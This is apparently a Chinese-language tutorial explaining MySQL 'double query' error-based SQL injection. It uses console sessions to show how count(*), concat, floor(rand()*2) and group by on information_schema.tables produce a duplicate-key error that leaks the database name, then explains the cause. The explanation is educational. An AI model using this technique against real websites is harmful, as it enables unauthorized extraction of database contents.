双查询注入

双查询注入：它也是报错注入的一种；

详情请参考：http://www.2cto.com/Article/201211/166268.html

mysql> select (select database());
+---------------------+
| (select database()) |
+---------------------+
| security            |
+---------------------+
1 row in set (0.00 sec)

mysql> select concat((select database()));
+-----------------------------+
| concat((select database())) |
+-----------------------------+
| security                    |
+-----------------------------+
1 row in set (0.00 sec)<br><br>注：concat函数是把两个字符串链接到一起；
<br>mysql> select concat('a','b');<br>+-----------------+<br>| concat('a','b') |<br>+-----------------+<br>| ab              |<br>+-----------------+

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.6080478007048814 |
+--------------------+<br><br>注：rand函数是一个随机函数，所以每次出现的值不一样;会出现0-1之间的值；

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+<br><br>注：floor函数是把小数进行取整；

mysql> select concat((select database()),floor(rand()*2)) as test from informati
on_schema.tables group by test;
+-----------+
| test      |
+-----------+
| security0 |
| security1 |

接下来就看看一些爆破测试吧：

mysql> select count(*),concat((select database()),floor(rand()*2)) as test from
information_schema.tables group by test;
+----------+-----------+
| count(*) | test      |
+----------+-----------+
|       33 | security0 |
|       49 | security1 |
+----------+-----------+
2 rows in set (0.00 sec)

mysql> select count(*),concat((select database()),floor(rand()*2)) as test from
information_schema.tables group by test;
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'

我们get到数据了

最后的报错是最重要的地方！重复的键值；

 那么为什么键值会重复呢，就是因为concat函数执行了两次，因为concat是连接两个随机字符串，当第二次执行的时候，有可能会出现与第一次键值重复的情况!那么这种情况下，就会报错！

也就是：

使用聚合函数，group by子句，并利用随机函数产生错误运行时，由于涉及的随机函数和聚合函数计算；

当在一个聚合函数，比如count后面如果使用分组语句就会把查询的一部分以错误形式显示出来；因为concat函数执行两次，比如select database()，这样就执行了两次select database，与后面的随机函数链接在一起，可能会随机重复，就会报错；

当然大家不用问我MySQL为啥会这样！我也不懂

 

关于原理，经过我和小伙伴不懈努力终于搞定了

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性，即可能为0也可能为1（group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中则更新临时表中的数据；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数，检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0，如果此时临时表只有key为1的行不存在key为0的行，那么数据库要将该条记录插入临时表，由于是随机数，插时又要计算一下随机值，此时floor(random(0)*2)结果可能为1，就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

结论是：当与临时表里面的值进行比较，如果不同，就插入，但是插入的时候又计算了一次，所以如果插入时计算的值与直接比较的值不一样，则报错！

具体原理参考：http://www.mysqlops.com/2012/05/15/mysql-sql-analyze.html）。